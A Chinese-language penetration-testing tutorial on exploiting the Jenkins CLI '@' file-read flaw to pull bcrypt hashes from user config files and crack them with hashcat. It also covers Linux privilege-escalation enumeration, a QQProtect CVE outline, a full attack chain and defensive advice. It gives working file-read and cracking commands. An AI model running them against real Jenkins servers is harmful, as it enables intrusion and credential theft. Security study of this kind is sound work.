迎头痛击:Jenkins - Bcrypt密码哈希破解(权限提升的重要性)
字数 1720 2025-08-19 12:41:20

Jenkins Bcrypt密码哈希破解与Linux权限提升技术详解

1. Jenkins CLI工具与任意文件读取漏洞

1.1 Jenkins-cli.jar简介

jenkins-cli.jar是Jenkins的命令行接口(CLI)工具,提供通过命令行与Jenkins服务器交互的能力:

  • 可管理任务、构建、节点和用户
  • 无需登录网页界面即可执行操作
  • 通常可从http://[jenkins-server]:8080/jnlpJars/jenkins-cli.jar下载

1.2 Jenkins目录结构关键路径

/var/jenkins_home/包含Jenkins核心文件,重要子目录:

  • jobs/:存储所有工作项的配置文件
  • plugins/:存放Jenkins插件
  • credentials/:存储凭证信息
  • secrets/:包含安全敏感信息
  • users/:用户配置信息
  • config.xml:全局配置文件

1.3 任意文件读取漏洞利用

利用connect-nodehelpreload-job参数配合@符号实现文件读取:

java -jar jenkins-cli.jar -s http://target:8080/ connect-node '@/etc/passwd'
java -jar jenkins-cli.jar -s http://target:8080/ help '@/var/jenkins_home/users/users.xml'
java -jar jenkins-cli.jar -s http://target:8080/ reload-job '@/var/jenkins_home/users/users.xml'

技术原理@符号通过args4j库告诉命令行解析器后面的参数是文件路径

1.4 官方补丁分析

补丁核心修改:

  1. 添加ALLOW_AT_SYNTAX布尔变量控制@语法
  2. 使用ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX)设置解析器属性

2. Bcrypt密码哈希提取与破解

2.1 哈希提取方法

通过读取用户配置文件获取密码哈希:

java -jar jenkins-cli.jar -s http://target:8080 connect-node '@/var/jenkins_home/users/[username]/config.xml'

示例哈希格式:

<passwordHash>#jbcrypt:$2a$10$GqneLZhOq6hRpCXeXF07tuAN..Q8GKDv5zad/HfcpNpL8GJUNNdDO</passwordHash>

2.2 Hashcat破解Bcrypt哈希

使用Hashcat进行破解:

hashcat -m 3200 hash.txt rockyou.txt

关键参数说明:

  • -m 3200:指定bcrypt算法
  • hash.txt:包含提取的哈希文件
  • rockyou.txt:常用密码字典

注意事项

  • Bcrypt设计为抗暴力破解,破解需要大量时间
  • 建议使用高性能GPU加速破解
  • 准备大型字典文件提高成功率

3. Linux权限提升技术

3.1 权限提升的重要性

  • 扩大攻击范围
  • 获取系统资源完全控制
  • 便于横向移动
  • 突破执行限制

3.2 常见Linux提权方法

3.2.1 内核漏洞利用

  • 识别系统内核版本:uname -a
  • 搜索对应exploit代码
  • 编译执行获取root权限

3.2.2 SUID/SGID滥用

查找具有SUID/SGID位的文件:

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

常见可滥用程序:

  • find
  • vim
  • bash
  • nmap
  • cp

3.2.3 敏感文件读取

关键文件路径:

  • /etc/passwd
  • /etc/shadow
  • /etc/sudoers
  • ~/.bash_history
  • ~/.ssh/

3.2.4 定时任务利用

检查系统定时任务:

crontab -l
ls -la /etc/cron*

3.2.5 环境变量劫持

检查PATH变量和LD_PRELOAD滥用可能性

3.3 Windows提权案例:QQTIM本地提权(CVE-2023-34312)

漏洞原理

  • QQProtect.exe存在任意地址写入漏洞
  • 攻击者可控制指针写入特定值
  • 导致权限提升

利用步骤

  1. 使用IDA分析QQProtect.exe
  2. 定位0x40c9f8处代码
  3. 利用可控指针实现任意地址写入

4. 综合渗透流程

  1. 信息收集:识别Jenkins版本和配置
  2. 漏洞利用:通过CLI工具读取敏感文件
  3. 凭证提取:获取用户密码哈希
  4. 哈希破解:使用Hashcat破解bcrypt哈希
  5. 后台登录:使用破解的凭据登录管理界面
  6. 获取Shell:通过Jenkins功能获取系统访问
  7. 权限提升:利用系统漏洞或配置弱点提权
  8. 权限维持:建立持久化访问(本文未详述)

5. 防御建议

  1. Jenkins安全

    • 及时更新到最新版本
    • 限制对jenkins-cli.jar的访问
    • 加强用户密码复杂度要求
  2. 系统安全

    • 定期更新系统和内核
    • 最小化SUID/SGID文件
    • 实施最小权限原则
    • 监控敏感文件访问
  3. 密码安全

    • 使用强密码策略
    • 定期更换密码
    • 避免密码重用
  4. 日志监控

    • 监控异常文件读取行为
    • 记录特权操作
    • 设置可疑活动告警
Jenkins Bcrypt密码哈希破解与Linux权限提升技术详解 1. Jenkins CLI工具与任意文件读取漏洞 1.1 Jenkins-cli.jar简介 jenkins-cli.jar 是Jenkins的命令行接口(CLI)工具,提供通过命令行与Jenkins服务器交互的能力: 可管理任务、构建、节点和用户 无需登录网页界面即可执行操作 通常可从 http://[jenkins-server]:8080/jnlpJars/jenkins-cli.jar 下载 1.2 Jenkins目录结构关键路径 /var/jenkins_home/ 包含Jenkins核心文件,重要子目录: jobs/ :存储所有工作项的配置文件 plugins/ :存放Jenkins插件 credentials/ :存储凭证信息 secrets/ :包含安全敏感信息 users/ :用户配置信息 config.xml :全局配置文件 1.3 任意文件读取漏洞利用 利用 connect-node 、 help 或 reload-job 参数配合 @ 符号实现文件读取: 技术原理 : @ 符号通过 args4j 库告诉命令行解析器后面的参数是文件路径 1.4 官方补丁分析 补丁核心修改: 添加 ALLOW_AT_SYNTAX 布尔变量控制 @ 语法 使用 ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX) 设置解析器属性 2. Bcrypt密码哈希提取与破解 2.1 哈希提取方法 通过读取用户配置文件获取密码哈希: 示例哈希格式: 2.2 Hashcat破解Bcrypt哈希 使用Hashcat进行破解: 关键参数说明: -m 3200 :指定bcrypt算法 hash.txt :包含提取的哈希文件 rockyou.txt :常用密码字典 注意事项 : Bcrypt设计为抗暴力破解,破解需要大量时间 建议使用高性能GPU加速破解 准备大型字典文件提高成功率 3. Linux权限提升技术 3.1 权限提升的重要性 扩大攻击范围 获取系统资源完全控制 便于横向移动 突破执行限制 3.2 常见Linux提权方法 3.2.1 内核漏洞利用 识别系统内核版本: uname -a 搜索对应exploit代码 编译执行获取root权限 3.2.2 SUID/SGID滥用 查找具有SUID/SGID位的文件: 常见可滥用程序: find vim bash nmap cp 3.2.3 敏感文件读取 关键文件路径: /etc/passwd /etc/shadow /etc/sudoers ~/.bash_history ~/.ssh/ 3.2.4 定时任务利用 检查系统定时任务: 3.2.5 环境变量劫持 检查PATH变量和LD_ PRELOAD滥用可能性 3.3 Windows提权案例:QQTIM本地提权(CVE-2023-34312) 漏洞原理 : QQProtect.exe存在任意地址写入漏洞 攻击者可控制指针写入特定值 导致权限提升 利用步骤 : 使用IDA分析QQProtect.exe 定位0x40c9f8处代码 利用可控指针实现任意地址写入 4. 综合渗透流程 信息收集 :识别Jenkins版本和配置 漏洞利用 :通过CLI工具读取敏感文件 凭证提取 :获取用户密码哈希 哈希破解 :使用Hashcat破解bcrypt哈希 后台登录 :使用破解的凭据登录管理界面 获取Shell :通过Jenkins功能获取系统访问 权限提升 :利用系统漏洞或配置弱点提权 权限维持 :建立持久化访问(本文未详述) 5. 防御建议 Jenkins安全 : 及时更新到最新版本 限制对 jenkins-cli.jar 的访问 加强用户密码复杂度要求 系统安全 : 定期更新系统和内核 最小化SUID/SGID文件 实施最小权限原则 监控敏感文件访问 密码安全 : 使用强密码策略 定期更换密码 避免密码重用 日志监控 : 监控异常文件读取行为 记录特权操作 设置可疑活动告警